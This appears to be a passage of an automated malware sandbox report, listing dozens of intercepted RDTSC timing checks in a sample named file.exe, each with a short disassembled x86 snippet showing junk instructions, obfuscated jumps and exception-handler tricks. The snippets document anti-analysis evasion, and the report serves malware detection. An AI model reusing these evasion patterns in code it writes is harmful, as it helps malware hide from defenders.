push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69B41 second address: D69B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AC9F second address: D6ACA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6ACA5 second address: D6ACA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6ACA9 second address: D6ACCB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC708CACE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC708CACEA3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BE3E second address: D6BE42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DE91 second address: D6DE9B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC708CACE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DE9B second address: D6DEB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DEB5 second address: D6DEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DEB9 second address: D6DEBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DEBF second address: D6DF28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FC708CACEA1h 0x0000000f push 00000000h 0x00000011 xor edi, dword ptr [ebp+122D1D76h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FC708CACE98h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 push eax 0x00000034 push edi 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FC708CACEA8h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70108 second address: D70116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C2198Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72EBC second address: D72ED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FC708CACE9Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73E6B second address: D73E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74EEA second address: D74EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75FFB second address: D75FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75FFF second address: D7604E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FC708CACEA2h 0x0000000f jp 00007FC708CACE96h 0x00000015 popad 0x00000016 push edx 0x00000017 jp 00007FC708CACE96h 0x0000001d pop edx 0x0000001e popad 0x0000001f nop 0x00000020 mov ebx, 773785F2h 0x00000025 push 00000000h 0x00000027 mov di, ax 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d xor dword ptr [ebp+12453E83h], ebx 0x00000033 mov dword ptr [ebp+122D1E04h], ebx 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e push ecx 0x0000003f pop ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7604E second address: D76053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76053 second address: D76058 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79232 second address: D79246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC708C2198Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79246 second address: D79281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007FC708CACEA1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jp 00007FC708CACE96h 0x00000016 jmp 00007FC708CACEA0h 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e js 00007FC708CACE96h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7AC35 second address: D7AC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70294 second address: D7029E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC708CACE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7029E second address: D702A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7039D second address: D703A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D703A2 second address: D703A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D703A8 second address: D703AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D703AC second address: D703BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jng 00007FC708C2198Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D703BE second address: D703D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC708CACEA1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71190 second address: D7119F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC708C21986h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7119F second address: D71249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007FC708CACEA9h 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push edx 0x00000014 mov bl, dl 0x00000016 pop ebx 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FC708CACE98h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 jo 00007FC708CACEADh 0x0000003e jmp 00007FC708CACEA7h 0x00000043 mov eax, dword ptr [ebp+122D04F1h] 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007FC708CACE98h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 0000001Bh 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 movsx edi, bx 0x00000066 mov edi, dword ptr [ebp+12453EE2h] 0x0000006c push FFFFFFFFh 0x0000006e mov ebx, 4087DCD9h 0x00000073 nop 0x00000074 pushad 0x00000075 push eax 0x00000076 push edx 0x00000077 push ebx 0x00000078 pop ebx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71249 second address: D71253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D750D4 second address: D750D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D750D8 second address: D750DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D750DC second address: D7518C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007FC708CACEA0h 0x0000000d nop 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov dword ptr [ebp+122D1DCCh], edi 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007FC708CACE98h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c or ebx, dword ptr [ebp+122D1DBFh] 0x00000042 cmc 0x00000043 mov eax, dword ptr [ebp+122D0509h] 0x00000049 push 00000000h 0x0000004b push edx 0x0000004c call 00007FC708CACE98h 0x00000051 pop edx 0x00000052 mov dword ptr [esp+04h], edx 0x00000056 add dword ptr [esp+04h], 0000001Dh 0x0000005e inc edx 0x0000005f push edx 0x00000060 ret 0x00000061 pop edx 0x00000062 ret 0x00000063 sub dword ptr [ebp+122DB8F1h], ebx 0x00000069 push FFFFFFFFh 0x0000006b jmp 00007FC708CACE9Ch 0x00000070 mov edi, dword ptr [ebp+122D37A3h] 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a jmp 00007FC708CACE9Dh 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7518C second address: D75191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D761A5 second address: D761AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E50F second address: D7E513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E513 second address: D7E51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8127C second address: D812A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jbe 00007FC708C21986h 0x0000000f jg 00007FC708C21986h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 ja 00007FC708C2198Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81649 second address: D8166D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC708CACEA8h 0x0000000b pop ebx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86D72 second address: D86D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FC708C21988h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86D83 second address: D86D9D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC708CACE9Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86D9D second address: D86DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC708C21986h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86DA7 second address: BAEBE7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jne 00007FC708CACEA1h 0x0000000f je 00007FC708CACEA2h 0x00000015 jmp 00007FC708CACE9Ch 0x0000001a push dword ptr [ebp+122D0411h] 0x00000020 jmp 00007FC708CACEA0h 0x00000025 jmp 00007FC708CACEA7h 0x0000002a call dword ptr [ebp+122D210Eh] 0x00000030 pushad 0x00000031 stc 0x00000032 mov dword ptr [ebp+122D2811h], edi 0x00000038 xor eax, eax 0x0000003a mov dword ptr [ebp+122D2811h], esi 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 mov dword ptr [ebp+122D2811h], eax 0x0000004a mov dword ptr [ebp+122D38C7h], eax 0x00000050 jmp 00007FC708CACEA0h 0x00000055 mov esi, 0000003Ch 0x0000005a pushad 0x0000005b mov al, bl 0x0000005d call 00007FC708CACEA1h 0x00000062 push eax 0x00000063 pop ebx 0x00000064 pop edx 0x00000065 popad 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a or dword ptr [ebp+122D2386h], eax 0x00000070 lodsw 0x00000072 jmp 00007FC708CACE9Fh 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b or dword ptr [ebp+122D2386h], ebx 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jmp 00007FC708CACEA5h 0x0000008a nop 0x0000008b push eax 0x0000008c push edx 0x0000008d push eax 0x0000008e push edx 0x0000008f jo 00007FC708CACE96h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CE97 second address: D8CEA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FC708C21986h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CEA3 second address: D8CEA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D5FD second address: D8D623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC708C21990h 0x0000000f jp 00007FC708C2198Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D623 second address: D8D636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708CACE9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D636 second address: D8D63A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D63A second address: D8D643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DC92 second address: D8DC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DC96 second address: D8DC9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DC9E second address: D8DCA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC708C21986h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DE30 second address: D8DE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DE34 second address: D8DE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C21997h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FC708C2198Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC708C2198Eh 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DE74 second address: D8DEA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC708CACEA6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FC708CACE9Fh 0x00000011 je 00007FC708CACE96h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9247A second address: D92480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92480 second address: D92497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC708CACEA0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92497 second address: D9249D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9260E second address: D92617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92023 second address: D92027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92027 second address: D92043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b push edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92E1C second address: D92E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C21997h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92E37 second address: D92E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23F70 second address: D23F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23F76 second address: D23F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708CACE9Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D7D4 second address: D9D7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D92E second address: D9D981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC708CACE9Ch 0x0000000b popad 0x0000000c pushad 0x0000000d jns 00007FC708CACEA7h 0x00000013 jmp 00007FC708CACEA3h 0x00000018 pushad 0x00000019 jno 00007FC708CACE96h 0x0000001f jc 00007FC708CACE96h 0x00000025 jc 00007FC708CACE96h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DAE6 second address: D9DAF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E34F second address: D9E357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47365 second address: D4736E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4736E second address: D47374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47374 second address: D4737A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4737A second address: D4737F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4737F second address: D473A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jc 00007FC708C21986h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC708C2198Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D473A0 second address: D473A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E946 second address: D9E94C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E94C second address: D9E951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E951 second address: D9E965 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D17E second address: D9D182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D182 second address: D9D188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D188 second address: D9D194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D194 second address: D9D19F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D19F second address: D9D1A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3CC1 second address: DA3CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jno 00007FC708C21986h 0x0000000e pop ebx 0x0000000f js 00007FC708C21999h 0x00000015 jmp 00007FC708C2198Dh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BBD3 second address: D5BBD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BBD7 second address: D5BBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
